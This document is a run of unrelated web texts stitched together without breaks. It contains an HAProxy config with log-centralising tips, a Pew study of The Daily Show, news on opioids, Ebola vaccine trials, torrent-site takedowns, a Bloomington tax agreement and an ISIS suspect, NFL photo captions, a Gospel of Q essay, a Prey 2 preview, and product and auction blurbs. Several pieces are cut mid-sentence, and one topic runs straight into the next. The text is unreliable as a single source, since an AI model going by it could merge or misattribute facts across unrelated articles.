frontend localhost bind *:80 bind *:443 option tcplog mode tcp default_backend nodes backend nodes mode tcp balance roundrobin option ssl-hello-chk server web01 172.17.0.3:443 check server web02 172.17.0.4:443 check
Logs
So, now you have multiple web servers, but each one generates their own log files! Going through each servers' logs is tedious and slow. Centralizing your logs can be very beneficial.
You may wish to just get logs from the load balancer, skipping the web server logs. This ignores the issue of logs your application generates, however.
The simplest ways I've done this is to combine Logrotate's functionality with an uploaded to an S3 bucket. This at least puts all the log files in one place that you can look into.
However, there's plenty of centralized logging servers that you can install in your infrastructure or purchase. The SaaS offerings in this arena are often easily integrated, and usually provide extra services such as alerting, search and analysis.
Some popular self-install loggers:
Some popular SaaS loggers:In 2007, when the public was asked about their most admired journalist, Stewart appeared in the mix with other journalists who work for more traditional outlets. While no individual journalist was named by more than 5%, Stewart was still volunteered by 2% of the American public. Stewart also rises to the top among younger Americans, being named by 6% of those younger than 30 years old. [1]
Are Americans confused? What is Stewart doing on his program, The Daily Show with Jon Stewart, that might cause people to consider him a journalist? How is the show similar to, and different from, what people get from the mainstream press? Beyond that, who—and what—gets skewered by Stewart and company, and who does not?
For answers, the Pew Research Center’s Project for Excellence in Journalism studied the content of The Daily Show for an entire year (2007), compared its news agenda with that of the more traditional news media, examined the lineup of guests and segments and tried to place the program into some kind of media context. [2]
The results reveal a television program that draws on the news events of the day but picks selectively among them—heavily emphasizing national politics and ignoring other news events entirely. In that regard, The Daily Show closely resembles the news agenda of a number of cable news programs as well as talk radio.
The program also makes heavy use of news footage, often in a documentary way that employs archival video to show contrast and contradiction, even if the purpose is satirical rather than reportorial. At other times, the show also blends facts and fantasy in a way that no news program hopefully ever would. In addition, The Daily Show not only assumes, but even requires, previous and significant knowledge of the news on the part of viewers if they want to get the joke. And, in 2007 at least, the joke was more often on the Bush Administration and its fellow Republicans than on those from the liberal side of the aisle.
Among the study’s findings:
The program’s clearest focus is politics, especially in Washington. U.S. foreign affairs, largely dominated by the Bush Administration’s policies in Iraq, Washington politics and government accounted for nearly half (47%) of the time spent on the program. Overall, The Daily Show news agenda is quite close to those of cable news talk shows.
The press itself is another significant focus on The Daily Show. In all, 8% of the time was made up of segments about the press and news media. That is more than double the amount of coverage of media in the mainstream press overall during the same period.
A good deal of the news, however, is also absent from The Daily Show. In 2007, for example, major events such as the tragic Minneapolis bridge collapse were never discussed. And the shootings at Virginia Tech, the most covered story within a given week in 2007 by the overall press, received only a cursory mention.
Republicans in 2007 tended to bear the brunt of ridicule from Stewart and his crew. From July 1 through November 1, Stewart’s humor targeted Republicans more than three times as often as Democrats. The Bush Administration alone was the focus of almost a quarter (22%) of the segments in this time period.
The lineup of on-air guests was more evenly balanced by political party. But our subjective sense from viewing the segments is that Republicans faced harsher criticism during the interviews with Stewart. Whether this is because the show is simply liberal or because the Republicans control the White House is harder to pin down.
Stewart has always insisted that his show isn’t journalism and given its comedic core, its blurring of truth and fiction, and its ignoring of many major events, that is true in a traditional sense.
But it’s also true that, at times, The Daily Show aims at more than comedy. In its choice of topics, its use of news footage to deconstruct the manipulations by public figures and its tendency toward pointed satire over playing just for laughs, The Daily Show performs a function that is close to journalistic in nature—getting people to think critically about the public square. In that sense, it is a variation of the tradition of Russell Baker, Art Hoppe, Art Buchwald, H.L. Mencken and other satirists who once graced the pages of American newspapers.
How popular is The Daily Show? According to a survey by the Pew Research Center for the People and the Press in April 2007, 16% of Americans said they regularly watched The Daily Show or the Comedy Central spin-off, the Colbert Report. Those numbers are comparable to some major news programs. For instance, 17% said they regularly watched Fox News’ The O’Reilly Factor, and 14% watched PBS’ NewsHour with Jim Lehrer regularly. [3]
The survey also suggests Daily Show viewers are highly informed, an indication that The Daily Show is not their lone source of news. Regular viewers of The Daily Show and the Colbert Report were most likely to score in the highest percentile on knowledge of current affairs. [4]
The Daily Show, which began in 1996, now has an average audience of about 1.8 million. [5] By comparison, Fox News’ primetime show Hannity & Colmes had an average audience of 1.9 million in the first quarter of 2008, and CNN’s highest rated show, Election Center captured an average of 1.2 million viewers. [6] Stewart became host of the Show in 1999 and also serves as a writer and co-executive producer.
Structurally, The Daily Show combines elements of both traditional news shows and late night variety programs. Two commercial segments divide the 30 minute show into three distinct parts. Typically the first segment consists of Stewart’s monologue, which often uses video and audio clips. The second segment usually brings in correspondents who do skits, or staged interviews with Stewart. The third, and final, act of the show consists of a guest interview. Guests range from celebrities, to historians and politicians. [7]
Footnotes
1. Pew Research Center for the People & the Press, “Today’s Journalists Less Prominent,” March 8, 2007. Available at: http://people-press.org/reports/display.php3?ReportID=309
2. Traditional news media consists of a list of 48 news outlets that are a part of PEJ’s weekly News Coverage Index. Read the methodology.
3. Pew Research Center for the People & the Press, “Public Knowledge of Current Affairs Little Changed by News and Information Revolutions: What Americans Know: 1989-2007.” April 15, 2007. Available at: http://people-press.org/reports/display.php3?ReportID=319
4. “Well-informed audiences come from cable (Daily Show/Colbert Report, O’Reilly Factor), the internet (especially major newspaper websites), broadcast TV (NewsHour with Jim Lehrer) and radio (NPR, Rush Limbaugh’s program).”
5. Average total viewers, 2008 year to date. Viewership data provided by Comedy Central, April 29 2008
6. Source: Nielsen Media Research analysis at MediaBistro.com. Available at:
http://www.mediabistro.com/tvnewser/original/1Q’08%20(LIVESD)%20FINAL%20P2%20Cable%20News%20Program%20Ranker.pdf
7. Once in a while guests appear for two separate segments: the second as well as the third. This is most frequently true for the most prominent figures, such as Presidential front-runners etc. Also, in one instance in 2007, a guest interview (with Ali Allawi on April 18) was aired as third and second to last story. A report on the falling stock market was the last story.Each of these compounds binds to opioid receptors — specific proteins found in the brain, spinal cord and other organs in the body — just like morphine. But they activate a different signaling pathway, a route through which information flows from one molecule to another, than conventional opioids.
These distinctions mean the new opioids could decrease the risk of addiction and eliminate a leading cause of overdose death: respiratory depression. The fatal side effect drew attention recently after it was deemed the cause of death for popular pop artist Prince.
Brian Shoichet, professor of pharmaceutical chemistry at University of California, San Francisco, and co-author of a paper on PZM21 published last month in Nature, says eliminating this side effect is one of the most important goals in creating new opioids.
“The whole field is sort of opening up, and there’s hope that there’s molecules that at least don’t cause respiratory depression,” he said. “That’s what kills people on opioids.”The City of Bloomington (City) and Cook Group, Inc. (Cook) have agreed to enter into an “Agreement in Lieu of Annexation” pending final approval of the agreement by the City of Bloomington Common Council on October 18. The agreement would obligate Cook to pay, in lieu of taxes, a minimum of $100,000 per year, for a total of $1.5 million over the life of the agreement, in exchange for the City agreeing not to annex Cook properties located outside city limits.
The agreement would take effect in 2017 and last for 15 years, as permitted by state statute. The annual payment will increase if Cook fails to meet certain prescribed goals for financial investment and increased employment in Monroe County. All payments received from Cook would be deposited into the City’s General Fund.
Indiana Code §36-4-3-21 permits a municipality to enter into an Agreement in Lieu of Annexation with a property owner who might otherwise be annexed. The City entered into Agreements in Lieu of Annexation in the past with a group of local industries, including Cook in 1979. The agreement was modified in 1987, 2002, and 1997. The 1997 Agreement in Lieu of Annexation eventually expired in December 2012.
“Bloomington and Monroe County residents are thrilled with Cook’s recent announcement that they will continue investing in this community, adding hundreds of jobs, redeveloping a significant property at the former GE site, and developing the local workforce through a variety of innovative training opportunities. With this agreement in place, Cook will have the security of knowing what its tax obligation will be going forward, which we hope will make the financial planning of both the City and Cook easier and more predictable. This is good for Bloomington and good for Cook,” commented Mayor John Hamilton.
Cook Group is a family-owned, global company with headquarters in Bloomington. Since it's founding in 1963, Cook has become a cornerstone of the local and regional economy. Cook announced last week that it expects to purchase the former GE Appliances plant on Curry Pike by the end of 2017 in order to expand its operations and grow employment by over 500 jobs in the next 10 years. This move represents a planned local investment of more than $100 million dollars, and the proposed Agreement in Lieu of Annexation is a significant factor in Cook’s willingness to continue to invest in Bloomington’s community.
###Dallas Cowboys offensive players huddle around quarterback Brandon Weeden (3) during the first half of an NFL football game against the New Orleans Saints at the Mercedes-Benz Superdome on Sunday, Oct. 4, 2015, in New Orleans. (Smiley N. Pool/The Dallas Morning News)
Dallas Cowboys quarterback Tony Romo signals a touchdown after a replay on a 1-yard plunge by running back Joseph Randle during the first half of an NFL football game against the New Orleans Saints at the Mercedes-Benz Superdome on Sunday, Oct. 4, 2015, in New Orleans. (Smiley N. Pool/The Dallas Morning News)
Dallas Cowboys quarterback Brandon Weeden (3) is chased out of bounds by New Orleans Saints outside linebacker David Hawthorne (57) during the first half of an NFL football game at the Mercedes-Benz Superdome on Sunday, Oct. 4, 2015, in New Orleans. (Smiley N. Pool/The Dallas Morning News)
Dallas Cowboys middle linebacker Anthony Hitchens (59) sacks New Orleans Saints quarterback Drew Brees (9) during the first half of an NFL football game at the Mercedes-Benz Superdome on Sunday, Oct. 4, 2015, in New Orleans. (Smiley N. Pool/The Dallas Morning News)
Dallas Cowboys middle linebacker Anthony Hitchens (59) wraps up New Orleans Saints running back Khiry Robinson (29) during the first half of an NFL football game at the Mercedes-Benz Superdome on Sunday, Oct. 4, 2015, in New Orleans. (Smiley N. Pool/The Dallas Morning News)
Dallas Cowboys quarterback Brandon Weeden (3) throws a pass during the first half of an NFL football game against the New Orleans Saints at the Mercedes-Benz Superdome on Sunday, Oct. 4, 2015, in New Orleans. (Smiley N. Pool/The Dallas Morning News)
New Orleans Saints wide receiver Brandin Cooks (10) commits a pass interference penalty on a pass intended for Dallas Cowboys wide receiver Brice Butler (19) in the end zone to set up a Cowboys touchdown during the first half of an NFL football game at the Mercedes-Benz Superdome on Sunday, Oct. 4, 2015, in New Orleans. (Smiley N. Pool/The Dallas Morning News)
New Orleans Saints tight end Josh Hill (89) spikes the ball after scoring on a 3-yard pass from Drew Brees past Dallas Cowboys strong safety Barry Church (42) and cornerback Brandon Carr (39) during the first half of an NFL football game at the Mercedes-Benz Superdome on Sunday, Oct. 4, 2015, in New Orleans. (Smiley N. Pool/The Dallas Morning News)
Dallas Cowboys kicker Dan Bailey (5) celebrates with punter Chris Jones (6) after kicking a field goal during the first half of an NFL football game against the New Orleans Saints at the Mercedes-Benz Superdome on Sunday, Oct. 4, 2015, in New Orleans. (Smiley N. Pool/The Dallas Morning News)
Dallas Cowboys fans cheer a first down run during the first half of an NFL football game against the New Orleans Saints at the Mercedes-Benz Superdome on Sunday, Oct. 4, 2015, in New Orleans. (Smiley N. Pool/The Dallas Morning News)
Dallas Cowboys running back Joseph Randle (21) runs through the New Orleans Saints defense during the first half of an NFL football game at the Mercedes-Benz Superdome on Sunday, Oct. 4, 2015, in New Orleans. (Smiley N. Pool/The Dallas Morning News)
Dallas Cowboys running back Lance Dunbar (25) is brought down by New Orleans Saints middle linebacker Stephone Anthony (50) during the first half of an NFL football game at the Mercedes-Benz Superdome on Sunday, Oct. 4, 2015, in New Orleans. (Smiley N. Pool/The Dallas Morning News)
Dallas Cowboys running back Joseph Randle (21) leaps over the line on a 1-yard touchdown during the first half of an NFL football game against the New Orleans Saints at the Mercedes-Benz Superdome on Sunday, Oct. 4, 2015, in New Orleans. (Smiley N. Pool/The Dallas Morning News)
Dallas Cowboys tight end Jason Witten (82) is brought down by New Orleans Saints outside linebacker David Hawthorne during the first half Sunday, October 4, 2015 at the Mercedes-Benz Superdome in New Orleans, La. (G.J. McCarthy/The Dallas Morning News)
Dallas Cowboys running back Joseph Randle (top) jumps above the New Orleans Saints lines to score a touchdown during the first half of their game Sunday, October 4, 201 |
with the cooperation of Dutch anti-piracy group BREIN, has quietly shuttered 12 torrent websites in the U.S. and at least 39 sites abroad by filing copyright violation complaints with the sites' hosting providers.
The names of the sites themselves remain unknown; so far, however, the major players seem to be unaffected.
The specific URLs are not being released because frequently the affected sites will spring up elsewhere online under a different TLD (e.g., TorrentMovies.com becomes TorrentMovies.info).
Releasing the names of the sites would make it much easier for users to find their new URLs in the future.
This news, while interesting and concerning, is a far cry from the 70-plus sites shut down by the Department of Homeland Security last November, the culmination of a brewing crackdown effort.
Some torrent and file-sharing sites, including RapidShare, have even taken to hiring lobbyists of their own.
A company spokesperson told Mashable recently, "Given the fact that the U.S. government is currently undertaking great efforts to fight copyright infringements on the internet, our having a voice in Washington could be beneficial for us as well as for the U.S. government."
According to TorrentFreak, BREIN "has (temporarily) disabled more than 1,000 torrent sites in The Netherlands, and they are now helping the MPAA towards doing the same in the U.S."
In a BREIN release, the organization stated that it helped the MPAA take down around 29 sites last year; and earlier this month, it shut down 39 sites in the Netherlands for the MPAA, as well.
BREIN also conducts these anti-piracy "stings" in 11 other countries, including Germany, France, Britain and Canada.
Its director, Tim Kuik, said in the statement (via Google Translate), "There will be new sites, but we take them down fast so they cannot grow."
© 2013 MASHABLE.com. All rights reserved.THE GOSPEL OF Q The gospel's internal structure Sponsored link.
Disclaimer:
This essay is written from a common liberal Christian perspective. It assumes that the two source theory is valid. This theory maintains that the authors of the Gospels of Matthew and Luke copied much of their material from the Gospel of Mark and from a lost Gospel of Q. This theory is accepted by most liberal theologians, but is opposed by others. 1,2
Religious conservatives generally believe that the Gospel of Q either did not exist or is redundant. So, none of this essay will be of particular value to them.
The Internal Structure of Q:
Q appears to have been written in Greek - at least the version of Q that was used by the authors of Luke and Matthew was in this language. Most references in Q to the Hebrew Scriptures (Old Testament) were to the Greek Septuagint translation, not the Hebrew original.
Further detective work has shown that Q can be subdivided into three subdivisions of sayings, called Q1, Q2 and Q3. The writing of Q apparently started about 50 CE, about 20 years after Jesus' execution by the Roman authorities. Unlike other Gospels which were apparently written over a short interval of time, Q was intermittently expanded over a period that has been estimated as great as 35 years. As in the case of the other Gospels, the names of the people who wrote Q are unknown. Biblical writers who later used portions of the Q material were:
Thomas, written during the early 90's, perhaps in northern Syria. He did not incorporate any Q3 material. Matthew, possibly written during the mid 80's, perhaps in northern Palestine Luke, perhaps written during the 90's in Greece or Asia Minor
"Q1" - Describing Jesus as a Philosopher - Teacher Prior to the writing of Q1, the Gospel message was passed verbally among individuals and groups. About 50 CE, this oral tradition was written down as Q1. B.L. Mack 3 grouped together the passages that formed the original part of Q into about 7 pages of fairly large print. They represent a powerful message which apparently contain the original sayings of Jesus as they were preserved at the time. Many of Jesus' original statements would have been lost during the period of oral tradition, either because they were duplicates of other sayings or because they were not remarkable enough to have survived fading memories. Undoubtedly, some distortion of the original words of Christ would have occurred. To read this sub-set of the original Gospel is a remarkable privilege; it is a sort of time capsule that transports the reader back into the mindset of the early followers of Jesus. Q1 covers the following topics:
who will belong to the "Kingdom of God" treating others (the Ethic of Reciprocity; a.k.a. Golden Rule) do not judge others working for the Kingdom asking for God's help do not fear speaking out don't worry about food, clothing, possessions the Kingdom will soon arrive the cost of being a follower the cost of rejecting the message
What is remarkable about Q1 is that the original Christians appeared to be centered totally on concerns about their relationships with God and with other people, and their preparation for the imminent arrival of Kingdom of God on earth. Totally absent from their spiritual life are almost all of the factors that we associate with Christianity today. There is absolutely no mention of (in alphabetic order): adultery, angels, apostles, baptism, church, clergy, confirmation, crucifixion, demons, disciples, divorce, Eucharist, great commission to convert the world, healing, heaven, hell, incarnation, infancy stories, John the Baptist, Last Supper, life after death, Mary and Joseph and the rest of Jesus' family, magi, miracles, Jewish laws concerning behavior, marriage, Messiah, restrictions on sexual behavior, resurrection, roles of men and women, Sabbath, salvation, Satan, second coming, signs of the end of the age, sin, speaking in tongues, temple, tomb, transfiguration, trial of Jesus, trinity, or the virgin birth. Jesus is described as a believer in God, but there are no indications that he was considered more than a gifted human being. His role was not as a Messiah or Lord but philosopher-teacher. The Gospel contains strong statements which are anti-family and which oppose Jewish religious rules. Rewards and punishments are described as occurring in this life, not after death. The "Kingdom of God" is described as a type of utopian society on earth which his followers were creating, not some future location in heaven after death. God is presented as a loving father with an intimate concern for the welfare of believers. The Holy Spirit is mentioned, but appears as a gift given by God, not as a separate person of the Trinity. There is no reference to Jesus' death having any redeeming function; in fact, there is no mention of the crucifixion or resurrection at all. The religious and spiritual life of the early Christian movement two decades after Jesus' crucifixion bears little relationship to today's Christianity. A modern day Evangelical Christian would probably regard all of Jesus' followers as unsaved and essentially ignorant of all of the fundamental beliefs of Christianity. Some authors identify the contents of Q by numbering the sayings QS1 to QS64. Using this identification system, the Q1 material can be found at the following locations in the Gospel of Luke:
Q Location Luke Location Comments QS7 6:20a Start of the Beatitudes QS8 6:20b-23 QS9 6:27-35 QS10 6:36-38 QS11 6:39-40 QS12 6:41-42 QS13 6:43-45 QS14 6:46-49 QS19 9:57-62 "Foxes have holes; bury the dead" QS20 10:1-11 Sending the 70 disciples QS26 11:1-4 Lord's prayer QS27 11:9-13 "Seek and ye shall find" QS35 12:2-3 Speaking publicly QS36 12:4-7 Fearing retaliation QS38 12:13-21 Inheritance; parable of the rich fool QS39 12:22-31 Worrying about the future QS40 12:33-34 Give your possessions away QS46 13:18-21 Mustard seed, leaven QS50 14:11 & 18:14 Humility QS51 14:16-24 The great supper QS52 14:26-27 and 17:33 Anti-family sayings; saving life QS53 14:34-35 Savorless salt
Sponsored link: "Q2" - Describing Jesus as an Apocalyptic Prophet: Many prophetic and apocalyptic pronouncements were added a couple of decades later, after Q1 had been firmly entrenched as the standard teaching text of the community. The new sayings were written in response to the serious civil unrest and upheavals in Palestine associated with the Roman-Jewish war. Another motivation was the rejection that they had experienced by their families and by the Jewish people generally. Q2 includes statements of judgment and doom which were directed against those who refused to listen to Jesus' message. The new sayings were written circa 60 to 70 CE, and introduced John the Baptist and his disciples into the Q material. They were identified as the words of Jesus and John, even though the sayings were conceived by others many decades after Jesus' death. This would be considered fraudulent by today's standards. However, in the ancient world, sayings were often added to the words of great teachers after their death and attributed to them. This gave the new sayings great credibility and authority within the movement. The sayings were inter-woven within the Q1 material in order to generate the impression that the judgmental texts were part of his original message. "Q3" - Retreat from the World Additional sayings appear to have been added during the mid 70's CE. This was at a time that the Roman-Jewish war had concluded, after the Jews had been driven from Palestine, and just before the book of Mark was written, As before, the sayings were falsely attributed to Jesus. They describe the followers of Jesus as retreating from the violence and civic unrest of society and patiently waiting for "their moment of glory in some future time at the end of human history." 4 The status of Jesus was upgraded beyond his original Q1 status as teacher and his later Q2 status as prophet-teacher. Q3 describes him as a deity, who converses directly with God and Satan. It was at this time that the Gospel of Q started to be noticed by other Christian writers. Matthew and Luke built their Gospels in part around Q and Mark. The author of the Gospel of Thomas incorporated Q1 and Q2 into his writing, but was apparently not aware of the Q3 additions. References used: The following information sources were used to prepare and update the above essay. The hyperlinks are not necessarily still active today. Mark Goodacre, "World Without Q: A Synoptic Problem Web Page," at: http://www.bham.ac.uk/ Mark Goodacre, "Ten Reasons to Question Q," at: http://www.bham.ac.uk/ Burton L. Mack, "The Lost Gospel of Q: The Book of Christian Origins", Harper, San Francisco, (1993). Pages 73 to 80. Burton L. Mack, "Who Wrote the New Testament?", Harper Collins, San Francisco, (1995) Read reviews and/or order this book.
Copyright © 1998 to 2005 by Ontario Consultants on Religious Tolerance
Most recent update: 2005-AUG-31
Author: B.A. Robinson
Go to the previous page, or go to the Gospel of Q menu, or choose:Fewer people are reading - but at least they're reading more, and in more formats than ever.
That is, according to the results of a series of telephone surveys carried out by the Pew Research Center's Internet & American Life Project, funded by the Bill & Melinda Gates Foundation, which were published yesterday.
The report showed that as of February 2012, 21% of Americans had read an e-book, and that owners of e-readers read an average of eight books a year more than people without the devices (24 vs 16).
The surveys of 2,986 respondents, carried out in English and Spanish at the end of 2011 and the beginning of 2012, also showed that the average (calculated by mean) American reads 17 books a year.
However, 19% of respondents aged 16 and over said that they hadn't read a single book in any format, over the previous 12 months - the highest since such surveys on American reading habits began in 1978. If this figure is accurate, that means more than 50 million Americans don't read books at all.
Technology ownership had shifted significantly since previous surveys. In November 2010, 6% of Americans reported owning an e-reader; the figure is now 19%, with females aged 30-49 years old the most represented group. Amazon's Kindle is by far the most popular device, owned by 62% of e-book readers; Barnes and Noble's Nook has 22% of the market. When tablets are also factored in, the survey suggests that 28% of Americans aged 18 or older own a portable device that can be used as an e-book reader, not counting cell phones or computers.
However, it remains to be seen how much more the e-reader market can grow, without a major shift in attitude: 85% of respondents who don't currently own such a device said they had no interest in ever owning an e-reader. Santa Claus, take note.
Perhaps most interestingly, e-book readers are still voracious consumers of print books too; 58% of e-book owners said that they were reading a print book the previous day.
And 5% of respondents reported reading 50 or more books over the past year. That's down from 13% in 1978, but still: who are these people and how do they find the time?
See the graph below for why respondents prefer one medium over another. How many books do you think you read last year?They accuse the man, a German citizen named as Kerim Marc B., of having taken part in weapons training and fighting in battles on the side of Isis in Syria.
The man left Germany in March 2013 and travelled to Syria via Turkey, where investigators say he had joined up with Isis by October.
After a brief trip back to Germany in early 2014, he returned to the warzone in Syria in July and took up arms again.
Prosecutors in Düsseldorf said they were originally investigating Karim Marc B. for planning a serious crime against the state in Germany, and only later became aware that he had in fact joined Isis.
He will be brought before a judge on Thursday to decide on the terms of his custody while the investigation continues.
SEE ALSO: US adds German former rapper to terror listI’m very surprised. Good surprised, not bad surprised. Prey is not a game I feel anything about, to be completely honest. I know it has its fans, but for me it remains part of that mass of id Tech 4-based stodgy shooters which went heavy on bio-mechanical corridor-pounding gloss at the expense of play I found truly engaging, despite early-game experiments with big ideas. Prey 2? More corridors, more textbook murderous aliens, more blamblamblam, no thank you ma’am.
Except it’s not. I was not expecting a game where you spend a significant time without a gun taking up half your screen. I was not expecting an open-world game, inspired more by the likes of Red Dead Redemption and STALKER than by Quake and Call of Duty. I was not expecting a game where your interaction with funny-headed aliens is as much about making moral judgements as it is shooting them. I’m surprised.
(Click these images for larger versions, by the way)
With crushing inevitability, watching a presentation which demonstrated just how different and ambitious Prey 2 was, how determined it is to veer away from the FPS crowd, was immediately followed by sneery questions about why the first game’s Native American hero Tommy was no longer the star, and why portals were no longer involved. The same upset has been visible across the web, since the first details of the game slipped out. I have no idea, at this stage, whether Prey 2 will fulfil its lofty ambitions, but I simply cannot understand the mentality that demands a game stay the same instead of pursuing bold growth and change. Imagine how that must feel. Imagine showing your game full of ideas and creative risks and then just being told off for not repeating yourself.
I don’t care about Tommy. I’m sorry. Yeah, I’m as bored of white, male game-heroes as the next guy, but it’s pretty obvious that the switch to the ludicrously-named US Air Marshall Killian Samuels hasn’t been made as a result over cold feet about making an ethnic minority the star. It’s so the game’s free to explore different places, different concepts. Tommy will, we’re told, take a major but as-yet mysterious key role in Prey 2, but he won’t be playable. Maybe it’s a betrayal, but I’ll take a Blade Runner-inspired open world over more spirit-walking pseudo-mysticism any day.
And portals? There’s a perfectly good game about portals coming out this week. Better to also have a game about free-running bounty-hunting in a massively vertical sci-fi city instead of two portal games, thanks.
Killian Samuels, then. He’s a US AIr Marshall, who was aboard a plane back when the alien invasion of Earth in Prey 1 ocurred. The game opens with him the apparent lone survivor of the resulting crash, staggering to his feet amidst the wreckage of his plane. But he’s not on Earth. The ground is organic, pustulent. Drawing his military pistol, he wanders forward. It’s not long before he finds life, but it’s not human. It’s one of the Prey 1 aliens. Shooting ensues. You know the drill. On the run, hunted by monsters, blasting your way to freedom.
Except Samuels doesn’t find freedom. He finds a brutal punch in the face, and unconsciousness.
Years later. Samuels is working as a bounty hunter on the planet Exodus, a metropolitan hive of scum and villainy, occupied by multiple races living in relative peace, everyone finding some way to make a living. He’s not being hunted. In fact, he’s a hunter – a bounty hunter forever in search of the next paid contract.
Clearly, there are many questions. How did he get here? Why wasn’t he killed/harvested? Where are those evil aliens from Prey 1? Are there any other humans here? We’ll find out in due course, but for now it’s all about the Benjamins.
Exodus is described as ‘alien noir’, with Blade Runner a screamingly clear influence. There’s some Mass Effect in there too – multiple alien races and an air of ubiquitous criminality. The area Samuels is currently turning a buck in is the Bowery, a down-at-heel zone dominated by ne’er-do-wells. It’s the red light district, the crime lord district, the drugs district. It’s perhaps leaning towards the wrong side of dystopic sci-fi stereotype, but again – I’ll take the hovercars, vast, odd-angled skyscrapers and seedy neon over corridor-pounding any day.
When Samuels takes a contract, he’s assigned a target. How he kills or captures that target is your choice. Direct action has its merits, but if you barge into a nightclub and start spraying bullets everywhere you’re going to end up with a lot of heat – both from your target’s allies and potentially from Exodus’ security. So you could try stealth – using an Assassin’s Creed-esque parkour system to clamber over roofs and through windows. Or you could simply try threats, frightening your target into surrender or into fleeing to a less populous area. In Prey 2, you choose whether or not you hold a gun when you approach people. Maybe it’ll help. Maybe it’ll just raise hell. Your call.
A target running away is a good thing, at least as far as being a player is concerned. It results in a dramatic free-running and wall-climbing chase around Exodus, and delving into a utility belt full of absurd gadgetry. While shooting plays its part, your guns are frankly the least of your tools; anti-gravity waves, shoulder-mounted homing rockets, bolas, hover-boots and in the region of 15 further gadgets are the stars of this show. ‘Prey’ doesn’t here refer to being the hunted – it refers to being the hunter. The Predator, in fact. The inclusion of climbing, electronically-assisted vision modes and shoulder-mounted weapons is not coincidental. There’s more than a trace element of Deus Ex here too, but far more openly action-orientated. The chase is dynamic, crazed, desperate, but the gadgets means the odds are in Samuels’ favour.
(This time, at least. A later chase results in the arrival of a target’s vengeful brother, a hulking, bus-sized brute of an alien spitting firepower from every limb. For all the freeform elements, this doesn’t shy away from setpieces.)
The contract missions, some of which are scripted and story-progressing but the bulk of which are simply scanning for local opportunities, are just one way to make a living. Samuels can also look for ambient encounters, such as intervening in a scuffle and hoping for a reward from whichever alien was getting duffed up. Or he could wait for the fight to resolve itself and loot the resulting bodies. Or he could comb the city, searching its nooks and crannies for cash and for hidden missions such as trashing one cartel’s communication infrastructure.
He could even head off on a crime spree himself, mugging passers-by, extorting cash and discounts from traders and informants, or sadistically pushing civilians from the high streets to their death. This is likely to draw the attention of the floating security drones. You can take those out, but doing so may bring about harsher measures from whoever’s in charge of Exodus. While Prey 2 avoids moral judgments, a GTA-style heat system does mean that being a total bastard won’t result in an easy ride.
The moral judgements, or lack thereof, extends to the contracts themselves too. A target you’re chasing might realise the writing’s on the wall, and promise you a bigger pay packet if you let him go. That’s more money (to be spent on gadget upgrades and ammo) for you, but it might mean you’re letting a bad man go free. Or the target might claim his innocence, leaving the choice as to whether they or your employer are telling the truth to you. Everyone’s probably lying about something; question is, do you try to do the right thing or accept that the whole situation’s pretty messed up anyway and thus make the (financial) best of it?
Whether this openness of both approach and morality can sustain itself across a slew of encounters both scripted and procedural remains to be seen (for instance, at what point does interrupting a beat-down on the streets stop being atmosphere-building and become an all-too-familiar repetion?), but I’m entirely excited about the prospect of constructing my own bounty hunter/bussinessman fantasy life, and only pursuing the story missions when I’m good and ready.
STALKER as alien noir? Clearly, this is a whole lot more mainstream than that (and dodgy style stuff like aliens hissing ‘ssssson of a bittttch’ in silly reptile voices doesn’t do the atmosphere too many favours), but when a game that had the option to be just another gloosy manshoot decides to even begin treading the sandbox path, I damn well sit up and pay attention. Tommy? Portals? I really do not give a monkey’s. I’m the freelance police Predator.
Prey 2 is due for release in 2012. We’ll have an interview with the devs up later this week.First Ebola Vaccine Likely To Stop The Next Outbreak
Enlarge this image toggle caption Cellou Binani /AFP/Getty Images Cellou Binani /AFP/Getty Images
When Ebola struck West Africa a few years ago, the world was defenseless. There was no cure. No vaccine. And the result was catastrophic: More than 11,000 people died. Nearly 30,000 were infected.
Now it looks like such a large outbreak is unlikely to ever happen again. Ever.
The world now has a potent weapon against Ebola: a vaccine that brings outbreaks to a screeching halt, scientists report Thursday in The Lancet.
"We were able to estimate the efficacy of the vaccine as being 100 percent in a trial," says Ira Longini, a biostatistician at the University of Florida, who helped test the vaccine. "It's very unusual to have a vaccine that protects people perfectly."
Now, no vaccine — or drug for that matter — is perfect. The efficacy of the vaccine is clearly high but not "100 percent." That value reflects the fact that they just haven't tested the vaccine on enough people yet. So it is likely to decrease as the vaccine is used over time. In the end, the efficacy is likely to sit somewhere between about 70 percent and 100 percent, Longini says.
By comparison, the flu vaccine last year was about 50 percent effective.
And the Ebola vaccine works lightning fast, within four or five days, he says. So it could even be given after a person is exposed to Ebola but hasn't yet developed the disease.
Longini and his colleagues tested the vaccine on about 4,000 people in Guinea back in 2015, when Ebola was still spreading there. These people were at high risk of getting Ebola because they had had contact with someone who was infected.
When they got the vaccine right away, they were completely protected. No one got sick.
The vaccine — called rVSV-ZEBOV — hasn't been approved yet by either the World Health Organization or the U.S. Food and Drug Administration. That's predicted to happen sometime in 2018.
And there are still a few open questions about the vaccine, says Dr. Anthony Fauci, at the National Institutes of Health.
"For example, we don't know how durable the vaccine is," he says. "If you give health care workers the vaccine, for example, how long would they be protected? That's very important to learn."
What is clear is that the vaccine offers short-term protection during outbreaks. And that's exactly what's needed to stop the virus from spreading and to keep small outbreaks from getting out of control.
For this reason, GAVI — the Global Alliance for Vaccines and Immunization — has already spent $5 million to help finish the development of the vaccine and to stockpile it.
"So we have made 300,000 doses available, as of earlier this year, if there was to be sort of any resurgence or any kind of emergency," says Swati Gupta at Merck, which is manufacturing the shot.
Vaccines typically take years, even a decade to test. But the field trials for this one took less than two years.
"It's been a pretty tremendous experience," Gupta says. "There's been a lot of international partners that have come together in a real unprecedented effort."
The magnitude of the outbreak in West Africa, she says, made companies, governments and academic institutions push aside their own research agendas to come together and finish a vaccine.We're moving our stock off Tindie and on to Crowd Supply. Please go here! Like our Circuit Patterns trading cards, but don't want to have to buy 130 kits to get the full set? You can have a full de...
We're moving our stock off Tindie and on to Crowd Supply. Please go here!
Like our Circuit Patterns trading cards, but don't want to have to buy 130 kits to get the full set? You can have a full deck for just $15!
Each card has a schematic and short description of a common circuit pattern in electronics. Topics covered include digital, analog, and power electronics. There are 32 cards in total, all unique.
Blue cards are Digital, yellow cards are Analog, and green cards are Power.
The cards are printed on high quality card stock and are a pleasure to handle. Each card has a fetching looking Arachnid Labs logo on the back, and the deck comes in a custom printed tuck-box. If you want, you can shuffle them and make up a game of some sort - let us know if you do!The WWII-era Swedish Landsverk IKV-73 had a 7.5 centimeter main gun along with 2.1"-thick armor protecting its crew of four. A 325-horsepower engine moved the 25-ton beast at more than 25 mph. ($212,750)
